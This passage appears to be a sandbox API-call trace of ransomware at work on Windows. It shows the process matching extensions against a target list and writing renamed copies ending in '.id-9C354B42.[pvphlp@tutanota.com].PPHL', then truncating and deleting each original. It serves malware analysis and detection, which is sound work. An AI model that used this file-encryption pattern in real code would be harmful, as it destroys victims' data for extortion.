users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0061.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.045] lstrlenW (lpString=".doc") returned 4 [0061.045] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.045] lstrlenW (lpString=".docx") returned 5 [0061.045] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0061.045] lstrlenW (lpString=".pdf") returned 4 [0061.045] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.045] lstrlenW (lpString=".xls") returned 4 [0061.045] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.045] lstrlenW (lpString=".xlsx") returned 5 [0061.045] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0061.045] lstrlenW (lpString=".ppt") returned 4 [0061.045] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.045] lstrlenW (lpString=".zip") returned 4 [0061.046] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.046] lstrlenW (lpString=".rar") returned 4 [0061.046] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.046] lstrlenW (lpString=".bz2") returned 4 [0061.046] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.046] lstrlenW (lpString=".7z") returned 3 [0061.046] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.046] lstrlenW (lpString=".dbf") returned 4 [0061.046] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.046] lstrlenW (lpString=".1cd") returned 4 [0061.046] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.046] lstrlenW (lpString=".jpg") returned 4 [0061.046] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.046] lstrlenW (lpString=".doc") returned 4 [0061.046] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.046] lstrlenW (lpString=".docx") returned 5 [0061.046] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0061.046] lstrlenW (lpString=".pdf") returned 4 [0061.046] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.046] lstrlenW (lpString=".xls") returned 4 [0061.046] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.046] lstrlenW (lpString=".xlsx") returned 5 [0061.046] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0061.046] lstrlenW (lpString=".ppt") returned 4 [0061.046] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.046] lstrlenW (lpString=".zip") returned 4 [0061.046] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.046] lstrlenW (lpString=".rar") returned 4 [0061.046] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.047] lstrlenW (lpString=".bz2") returned 4 [0061.047] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.047] lstrlenW (lpString=".7z") returned 3 [0061.047] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.047] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.047] lstrlenW (lpString=".dbf") returned 4 [0061.047] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.047] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.047] lstrlenW (lpString=".1cd") returned 4 [0061.047] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.047] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.047] lstrlenW (lpString=".jpg") returned 4 [0061.047] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.047] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0061.047] lstrlenW (lpString="Setup.xml") returned 9 [0061.047] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0061.400] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=1452) returned 1 [0061.400] CloseHandle (hObject=0x1d8) returned 1 [0061.400] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0061.400] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0061.400] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0061.400] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.400] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.400] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0061.400] GetLastError () returned 0x0 [0061.401] ReadFile (in: hFile=0x1d8, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0061.402] WriteFile (in: hFile=0x190, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0061.403] ReadFile (in: hFile=0x1d8, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.403] WriteFile (in: hFile=0x190, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0061.404] SetEndOfFile (hFile=0x190) returned 1 [0061.404] CloseHandle (hObject=0x190) returned 1 [0061.405] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.405] SetEndOfFile (hFile=0x1d8) returned 1 [0061.405] CloseHandle (hObject=0x1d8) returned 1 [0061.406] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0061.406] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0061.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.406] lstrlenW (lpString=".doc") returned 4 [0061.406] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.406] lstrlenW (lpString=".docx") returned 5 [0061.406] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0061.406] lstrlenW (lpString=".pdf") returned 4 [0061.406] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.406] lstrlenW (lpString=".xls") returned 4 [0061.406] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.406] lstrlenW (lpString=".xlsx") returned 5 [0061.406] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0061.406] lstrlenW (lpString=".ppt") returned 4 [0061.406] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.406] lstrlenW (lpString=".zip") returned 4 [0061.406] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.406] lstrlenW (lpString=".rar") returned 4 [0061.406] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.406] lstrlenW (lpString=".bz2") returned 4 [0061.407] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.407] lstrlenW (lpString=".7z") returned 3 [0061.407] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.407] lstrlenW (lpString=".dbf") returned 4 [0061.407] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.407] lstrlenW (lpString=".1cd") returned 4 [0061.407] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.407] lstrlenW (lpString=".jpg") returned 4 [0061.407] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.407] lstrlenW (lpString=".doc") returned 4 [0061.407] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.407] lstrlenW (lpString=".docx") returned 5 [0061.407] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0061.407] lstrlenW (lpString=".pdf") returned 4 [0061.407] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.407] lstrlenW (lpString=".xls") returned 4 [0061.407] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.407] lstrlenW (lpString=".xlsx") returned 5 [0061.407] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0061.407] lstrlenW (lpString=".ppt") returned 4 [0061.407] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.408] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.408] lstrlenW (lpString=".zip") returned 4 [0061.408] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.408] lstrlenW (lpString=".rar") returned 4 [0061.408] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.408] lstrlenW (lpString=".bz2") returned 4 [0061.408] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.408] lstrlenW (lpString=".7z") returned 3 [0061.408] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.408] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.408] lstrlenW (lpString=".dbf") returned 4 [0061.408] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.408] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.408] lstrlenW (lpString=".1cd") returned 4 [0061.408] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.408] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.408] lstrlenW (lpString=".jpg") returned 4 [0061.408] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.408] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0061.408] lstrlenW (lpString="branding.xml") returned 12 [0061.408] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0061.409] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=596341) returned 1 [0061.409] CloseHandle (hObject=0x1d8) returned 1 [0061.409] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 0x2020 [0061.409] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0061.409] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0061.409] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.409] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.409] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0061.409] GetLastError () returned 0x0 [0061.409] ReadFile (in: hFile=0x1d8, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x91975, lpOverlapped=0x0) returned 1 [0061.663] WriteFile (in: hFile=0x190, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0061.676] ReadFile (in: hFile=0x1d8, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.676] WriteFile (in: hFile=0x190, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.676] SetEndOfFile (hFile=0x190) returned 1 [0061.677] CloseHandle (hObject=0x190) returned 1 [0062.177] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.177] SetEndOfFile (hFile=0x1d8) returned 1 [0062.183] CloseHandle (hObject=0x1d8) returned 1 [0062.183] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0062.183] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 1 [0062.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0062.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0062.183] lstrlenW (lpString=".doc") returned 4 [0062.183] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.183] lstrlenW (lpString=".docx") returned 5 [0062.183] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0062.183] lstrlenW (lpString=".pdf") returned 4 [0062.184] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.184] lstrlenW (lpString=".xls") returned 4 [0062.184] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.184] lstrlenW (lpString=".xlsx") returned 5 [0062.184] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0062.184] lstrlenW (lpString=".ppt") returned 4 [0062.184] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0062.184] lstrlenW (lpString=".zip") returned 4 [0062.184] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.184] lstrlenW (lpString=".rar") returned 4 [0062.184] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.184] lstrlenW (lpString=".bz2") returned 4 [0062.184] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.184] lstrlenW (lpString=".7z") returned 3 [0062.184] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0062.184] lstrlenW (lpString=".dbf") returned 4 [0062.184] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0062.184] lstrlenW (lpString=".1cd") returned 4 [0062.184] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0062.184] lstrlenW (lpString=".jpg") returned 4 [0062.184] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0062.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0062.185] lstrlenW (lpString=".doc") returned 4 [0062.185] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.185] lstrlenW (lpString=".docx") returned 5 [0062.185] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0062.185] lstrlenW (lpString=".pdf") returned 4 [0062.185] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.185] lstrlenW (lpString=".xls") returned 4 [0062.185] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.185] lstrlenW (lpString=".xlsx") returned 5 [0062.185] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0062.185] lstrlenW (lpString=".ppt") returned 4 [0062.185] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0062.185] lstrlenW (lpString=".zip") returned 4 [0062.185] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.185] lstrlenW (lpString=".rar") returned 4 [0062.185] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.185] lstrlenW (lpString=".bz2") returned 4 [0062.185] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.185] lstrlenW (lpString=".7z") returned 3 [0062.185] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0062.186] lstrlenW (lpString=".dbf") returned 4 [0062.186] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.186] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0062.186] lstrlenW (lpString=".1cd") returned 4 [0062.186] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.186] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0062.186] lstrlenW (lpString=".jpg") returned 4 [0062.186] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.186] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0062.186] lstrlenW (lpString="Setup.xml") returned 9 [0062.186] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0062.187] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=20577) returned 1 [0062.187] CloseHandle (hObject=0x1d8) returned 1 [0062.187] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0062.187] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0062.187] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0062.187] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.187] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.188] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0062.188] GetLastError () returned 0x0 [0062.188] ReadFile (in: hFile=0x1d8, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x5061, lpOverlapped=0x0) returned 1 [0062.191] WriteFile (in: hFile=0x190, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0062.192] ReadFile (in: hFile=0x1d8, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.192] WriteFile (in: hFile=0x190, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0062.192] SetEndOfFile (hFile=0x190) returned 1 [0062.192] CloseHandle (hObject=0x190) returned 1 [0062.197] SetFilePointerEx (in: hFile=0x1d8, 